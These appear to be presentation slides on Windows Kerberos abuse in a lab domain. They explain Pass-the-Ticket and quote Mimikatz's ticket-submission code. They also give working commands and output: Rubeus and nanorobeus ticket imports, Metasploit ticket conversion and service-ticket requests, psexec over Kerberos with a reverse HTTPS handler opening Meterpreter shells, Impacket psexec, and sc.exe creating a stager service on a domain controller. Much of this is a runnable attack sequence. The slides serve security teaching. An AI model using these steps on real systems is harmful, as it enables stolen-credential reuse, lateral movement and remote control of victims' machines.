• Let’s suppose we have obtained (or forged) a Kerberos ticket from another user, and we want to use it.

• ‘Pass-the-Ticket’ consists of importing such ticket into an attacker-controlled logon session
  • This allows acting on behalf of the victim in the network.

• Watchout when importing a TGT to an existing session - the original one will be overwritten!
Pass-the-Ticket (cont.)

1. Obtain (or forge) a TGT/ST
2. Import the ticket(s)!

PASS-THE-TICKET

Benjamin Delpy – “Abusing Microsoft Kerberos. Sorry you guys don’t get it” – Blackhat 2014
Pass-the-Ticket (cont.)

1. Obtain (or forge) a TGT/ST
2. Import the ticket(s)!

PASS-THE-TICKET

Kerberos LSA API = NO ADMIN 😊

Benjamin Delpy – “Abusing Microsoft Kerberos. Sorry you guys don’t get it” – Blackhat 2014
Interacting with APs

- If we have a look at how Mimikatz or Rubeus implement this technique, we will spot the use of `LsaCallAuthenticationPackage`
Interacting with APs (cont.)

• The LsaCallAuthenticationPackage function enables applications to talk to Windows authentication packages

• This is done through ‘messages’ which follow a specific structure expected by the target authentication package
  • These messages are just a buffer of data

• In the case of Pass-the-Ticket, the type of message is KerbSubmitTicketMessage

The KERB_PROTOCOL_MESSAGE_TYPE enumeration lists the types of messages that can be sent to the Kerberos authentication package by calling the LsaCallAuthenticationPackage function.

Each message corresponds to a dispatch routine and causes the Kerberos authentication package to perform a different task.

- **KerbSubmitTicketMessage**: The dispatch routine gets the tickets from the KDC and updates the ticket cache. The SeTcbPrivilege is required to access another logon account's ticket cache.

Windows Server 2003 and Windows XP: This constant is not supported.
typedef struct _KERB_SUBMIT_TKT_REQUEST {
    KRB_PROTOCOL_MESSAGE_TYPE MessageType;
    LUID LogonId;
    ULONG Flags;
    KRB_CRYPTO_KEY32 Key;
    ULONG KerbCredSize;
    ULONG KerbCredOffset;
} KRB_SUBMIT_TKT_REQUEST, *PKRB_SUBMIT_TKT_REQUEST;
NTSTATUS kuhl_m_kerberos_ptt_data(PVOID data, DWORD dataSize)
{
    NTSTATUS status = STATUS_MEMORY_NOT_ALLOCATED, packageStatus;
    DWORD submitSize, responseSize;
    PKERB_SUBMIT_TKT_REQUEST pKerbSubmit;
    PVOID dummy;

    submitSize = sizeof(KERB_SUBMIT_TKT_REQUEST) + dataSize;
    if(pKerbSubmit = (PKERB_SUBMIT_TKT_REQUEST) LocalAlloc(lpTR, submitSize))
    {
        pKerbSubmit->MessageType = KerbSubmitTicketMessage;
        pKerbSubmit->KerbCredSize = dataSize;
        pKerbSubmit->KerbCredOffset = sizeof(KERB_SUBMIT_TKT_REQUEST);
        RtlCopyMemory((PBYTE) pKerbSubmit + pKerbSubmit->KerbCredOffset, data, dataSize);

        status = lsaCallKerberosPackage(pKerbSubmit, submitSize, &dummy, &responseSize, &packageStatus);
        if(NT_SUCCESS(status))
        {
            status = packageStatus;
            if(NT_SUCCESS(status))
                PRINT_ERROR("LsaCallAuthenticationPackage KerbSubmitTicketMessage / Package : %08x\n", status);
        }
        else PRINT_ERROR("LsaCallAuthenticationPackage KerbSubmitTicketMessage : %08x\n", status);

        LocalFree(pKerbSubmit);
    }
    return status;
}
Passing the Ticket

• Two interesting approaches for Passing the Ticket:

1. Import ticket into another session (admin) and steal token or inject into process
   • Tip: create a fresh ‘netonly’ process and import the ticket there

2. Import ticket into the current session (no admin)
   • Tip: create a fresh logon type 9 and impersonate it to avoid overwriting the original TGT (à la make_token)
Importing into another session

```
msf6 post/windows/manage/execute_dotnet_assembly > run DOTNET_EXE=/home/attl4s/Out/Rubeus.exe
ARGUMENTS=\"/ticket:0xe0562\" \n[INFO] Running \n
Assembly copied.
Executing...
Start reading output

RUBEUS

v1.6.1

[*] Action: Import Ticket
[*] Target LUID: 0xe0562
[*] Ticket successfully imported!
```
Executing script

```
meteor-prep > execute bof /home/attl4s/Opt/nanorobeus/dist/nanorobeus.x64.0 -f zzzzz "." "" /ticket:doElTjCCBPagAW88Ed
AgEwcoIFlEDCBBathgQMMIEA6ADAgEFOq4D0DENTUNVTEuQQ9ZUKHMB+gWzABqEMYMByBtmYnRnDbSMyFWc3Vs553Jb33w04DxzaC4A80qAw1BEqED
AgEeCoIo8tSQ4A7Hko0YWONYaNg3XqC6QucXXIXjly1yyrqt6r+3j1tTKXLHx3DkolWfe1e5319j19j199qettY830BqTRzTowflLvw1Db6j1qz4THFPgLx3Ljgmx
LA2tozv6VhfrQskuy9r9gH3JrzWQZLzA/76f/+y7YzabGLXiaymbv9Lx8h3/s/ab1WkVh4RvVn5ZG7Wn9roFqvyQENy7b1Tn0N0reeMNwpw6u1A0uy1
qBN4ZNU4NTJr4a/6/30ynVd/6oDEUu2ztq4GzFoY6OyLYVP4VlONmzVvjc6a90kFk/HQJ1FkWg/-ib4d6LYYhjnk15THHN235p9S2i1j1dku0P0D2/G+KOMGC/jj/2J
 ultJMcOlL10D0111R0e5mE7VU129/AVh4p6Rsvozu7/1/mu6ZCHT5L2j1D1K2D1h+RIZfG1EyA1fR1u0Y5wnwAYZ3j2BcIcksDqogP2hGuc3qvwk6i6
80uTjsTjX4C5YjXyS8wpv6jvbfl6v4kfofH3+2Fv3u3Fb8zBwn2d0N0FJ3Hj2u0gTEkKj2j6M/NTwmp0R8kXAAhVAtuU0F74rur8I7B60Ccp3Ypn78z0
0/-iv2y1padq/1/A/d5s407j0lvdd5km93/LbikWDLJ3RMWw1Xx3a0R794A5F1kgz82EFd9G8L5PTFUnTPwotst4UuWNAAEpx0r4bf6CDx2Ce310j1R85y
6uQ4S8d0gfmtAXYHCYJu8X0L+455A14+7gVw871T1zQvP0VZum79y7Rf1w1A9jUvBzuniGCRBU8Netz24Er4aC4qQAP723R5SUBj4/-7WAllWVwb90kgcmF
N78pAGhLb0I1A9u9x2k96AFSLJfC44X46qyEn2zD8iB01y3/tq7GLYv4a0DJU2q8vCk0RQly+PxyxT5V4Q6Lw17t2r7596A5Sckw1Bj1S<z60g
Y6presDSL9f7/fb/29/EPK/A2b9V2PBPOX0700vwGZ2/3y/KqJk4dy0L9dwM25d/65u1Jp0bU18clSbHyRAG2wUwAcj00bDZ54qFya42lb1Wy
liayenkym9u0qSdgdj1863g3jTw8a+bFs8V1A/Cep3nGUB5FCrueH0U3b0RATX64M1P8uC5Jy+y1hCMvHdpC4idG7q7KBEXGFCjZEG02FB1r1Y
5EDW8S6zEvzQupX9r0C8Asarp1yMeM3/Mw3/RQn5YyEmMu8X728FagX2m0bGQd+bxol4xFb75J1i1CjGywd9QgA1B4KM8yWy4B2wTBCvQbCzBvC0Bn4Cume
M9B4vA1Fs86ESBBAc3NLwYVUvewawtokoXe1c7oq4DNBWFNvTUEuQQ5POSIBWqQ1BAJEAEMMkcG3l1lGlh2R0vca BCQ4A4QApR65y1wYjMnd1MOCy
MTOwYRqVRG8yPD12M0vNT3EMJ0EMFmRq6ErgMjyFh7A1MD4nWg1xNOb4D0DENTUNVTEuUQ9SKUHMB+gWxlAbedTMBY8BetyYnRdRsMyFWc3Yv535
43u" "" "" "" "" "" "" ""
```

[+] Ticket successfully imported.

```
meterpreter > execute bof /home/attl4s/Opt/nanorobeus/dist/nanorobeus.x64.0 -f zzzzz "klist" "" "" "" 
UserName : Vegeta_sa
Domain : CAP
LoginID : 8:0x1b71be
Session : 0
UserSID : 0-1-5.21-272438138-3995100478-3847831165-1126
Authentication package : Negotiate
LogonType : New_Credentials (9)
LogonTime (UTC) : 
LogonServer : 
LogonServerDNSDomain : CAPSULE_CORP
UserPrincipalName : Vegeta_s@capsule.corp

[*] Cached tickets: (1)

[0] 
Client name : bulma @ CAPSULE_CORP
Server name : krbtgt@CAPSULE_CORP @ CAPSULE_CORP
Start time (UTC) : 
End time (UTC) : 
```
The Fuck LSA Way
Examples

• Just a few examples of tools supporting raw Kerberos traffic

• We start from the assumption that we have obtained (or forged) a TGT belonging to the bulma_da user

• How can we use it with tools like MSF or Impacket?
Inspect our stolen TGT

```plaintext
[*] No decryption key provided proceeding without decryption.
[*] Kerb File:/home/att14s/bulma_da.kirbi
[*] Primary Principal: bulma_da@CAPSULE.CORP
Cache version: 4

Creds: 1
Credential[0]:
  Server: krbtgt/capsule.corp@CAPSULE.CORP
  Client: bulma_dagCAPSULE.CORP
  Ticket etype: 23 (RC4 HMAC)
  Key: lb3aab5b80009860389dc2c94e387e10
  Subkey: false
  Ticket Length: 1035
  Ticket Flags: 0x00e10000 (RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
  Addresses: 0
  Authdata: 0
  Times:
    Auth time: 1970-01-01 01:00:00 +0100
    Start time: -------------------------- +0200
    End time: -------------------------- +0200
    Renew Till: -------------------------- +0200
  Ticket:
    Ticket Version Number: 5
    Realm: CAPSULE.CORP
    Server Name: krbtgt/capsule.corp
    Encrypted Ticket Part:
```
Convert kirbi ticket to ccache (MSF wants this format)

```
msf6 auxiliary(admin/kerberos/ticket_converter) > run InputPath=/home/attl4s/bulma_da.kirbi OutputPath=/home/attl4s/bulma_da.ccache
[*] Converting from kirbi to ccache
[*] File written to /home/attl4s/bulma_da.ccache
[*] Auxiliary module execution completed
```

Get a service ticket for the service we want to interact with (CIFS from web01.capsule.corp)

```
msf6 auxiliary(admin/kerberos/get_ticket) > run krb5ccname=/home/attl4s/bulma_da.ccache SPN='cifs/web01.capsule.corp' rhosts=10.11.3.5 username=bulma_da domain=capsule.corp action=GET_TGS
[*] Running module against 10.11.3.5

[*] 10.11.3.5:88 - Using cached credential for krbtgt/capsule.corp@CAPSULE.CORP bulma_da@CAPSULE.CORP
[*] 10.11.3.5:88 - Getting TGS for bulma_da@capsule.corp (SPN: cifs/web01.capsule.corp)
[+] 10.11.3.5:88 - Received a valid TGS-Response
[*] 10.11.3.5:88 - TGS MIT Credential Cache ticket saved to /root/.msf4/loot/................._default_10.11.3.5.mit.kerberos.cc
```
Use the service ticket to interact with the CIFS service from web01.capsule.corp

```plaintext
msf exploit(windows/smb/psexec) > run
 SMBUser=bulma_da SMBDomain=capsule.corp smb::auth=Kerberos SMB::Krb5Cname=/root/.msf4/loot/_default_10.11.3.5mit.kerberos.cca_121818.bin DomainControllerRhost=10.11.3.5 RHOST=10.11.3.10 Smb::Rhostname=web01.capsule.corp
```

```
[*] Started HTTPS reverse handler on https://10.11.3.165:8443
[*] 10.11.3.10:445 - Connecting to the server...
[*] 10.11.3.10:445 - Authenticating to 10.11.3.10:445|capsule.corp as user 'bulma_da'...
[*] 10.11.3.10:445 - Loaded a credential from ticket file: /root/.msf4/loot/_default_10.11.3.5mit.kerberos.cca_121818.bin
[*] 10.11.3.10:445 - Selecting PowerShell target
[*] 10.11.3.10:445 - Executing the payload...
[*] 10.11.3.10:445 - Service start timed out, OK if running a command or non-service executable...
[*] https://10.11.3.165:8443 handling request from 10.11.3.10: (UUITD: kzungena) Staging x64 payload (201820 bytes) ...
[*] Meterpreter session 4 opened (10.11.3.165:8443 -> 10.11.3.10:49788) at m
```

```powershell
meterpreter >
```
We can also use the same ticket with other tools like Impacket’s psexec

```bash
att14s@strobe:~$ sudo cp /root/.msf4/loot/_________01.0.11.1.3.5_mit_kerberos.cca_l2l818.bin bulma_da-cifs_web01.ccache
att14s@strobe:~$ export KRB5CCNAME=bulma_da-cifs_web01.ccache
att14s@strobe:~$ att14s@strobe:~$ psexec.py -k -no-pass bulma_da@web01.capsule.corp -target-ip 10.11.3.10
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.11.3.10.....
[*] Found writable share ADMIN$
[*] Uploading file NovOHTRr.exe
[*] Opening SVCManager on 10.11.3.10.....
[*] Creating service dsfb on 10.11.3.10.....
[*] Starting service dsfb.....
(!) Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```
Moving with the SSPI
From HostA to HostB

• We know how to impersonate users in Windows
  • Playing with credentials, logon sessions, access tokens, LSA...
  • In this final section we focus on “the LSA way”

• Now we want to move laterally to a remote system
  • From HostA to HostB using UserB’s security context

• Windows provides a lot of protocols and services to execute stuff on remote computers
From HostA to HostB (cont.)

• Some examples:
  • [MS-SCMR]: Service Control Manager Remote Protocol
  • [MS-TSCH]: Task Scheduler Service Remoting Protocol
  • [MS-RRP]: Windows Remote Registry Protocol
  • [MS-WSMAN]: Web Services Management Protocol
  • [MS-WMI]: Windows Management Instrumentation Remote Protocol
  • [MS-DCOM]: Distributed Component Object Model (DCOM) Remote Protocol
PsExec

• Let’s take the PsExec technique as an example

• With the appropriate security context and network visibility, we can create a remote service using the SCM remote protocol

• We can use native tools like ‘sc.exe’ for that purpose
  • What is of interest for us is the fact that these tools use the SSPI, and don’t tend to allow specifying credentials as arguments
PsExec (cont.)

Creating a remote service on DC01 with sc.exe

```plaintext
meterpreter > shell
Process 4452 created.
Channel 5 created.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\>whoami
whoami
cap\bulma_da

C:\>copy C:\\programdata\stager_svc.exe \dc01\C$\programdata\stager_svc.exe copy C:\\programdata\stager_svc.exe \dc01\C$\programdata\stager_svc.exe 1 file(s) copied.

C:\>sc \dc01 create stager_svc binpath= C:\\programdata\stager_svc.exe
sc \dc01 create stager_svc binpath= C:\\programdata\stager_svc.exe
[SC] CreateService SUCCESS
```
PsExec (cont.)

```bash
meterpreter > execute_bof /home/att14s/Opt/CS-Remote-OPs-BOF/Remote/sc_start/sc_start.x64.o -f zz "DC01" "stager_svc"
```

Starting the remote service with a BOF

```
meterpreter >
[*] https://10.11.3.165:9443/home/api/v1/heartbeat handling request from 10.11.3.3; (UUID: m6rucdql) Staging x64 payload (201820 bytes)
 [...] Session ID 5 (10.11.3.165:9443 -> 10.11.3.5:51727) processing InitialAutoRunScript '/home/att14s/Opt/att14s_msf/autoruncommands.rc'
[*] Processing /home/att14s/Opt/att14s_msf/autoruncommands.rc for ERP directives.
resource (/home/att14s/Opt/att14s_msf/autoruncommands.rc)> load bofloader
Loading extension bofloader...

meterpreter>
```

Starting the remote service with a BOF

```
~ by @kevl69, @GuhnooPluxLinux, @R0wdyJoe, @skylerknecht ~
```

```
Success.
resource (/home/att14s/Opt/att14s_msf/autoruncommands.rc)> execute_bof /home/att14s/Opt/att14s_msf/freeMetsrvLoader/dist/freeMetsrvLoade
r.x64.o
[*] No arguments specified, executing bof with no arguments.
Metsrv's initial reflective DLL package removed.
[*] Meterpreter session 3 opened (10.11.3.165:9443 -> 10.11.3.5:51727) at 2023-04-25 15:58:53 +0200
```

meterpreter >
```
MANY THANKS!
Any Question?

Is anybody awake?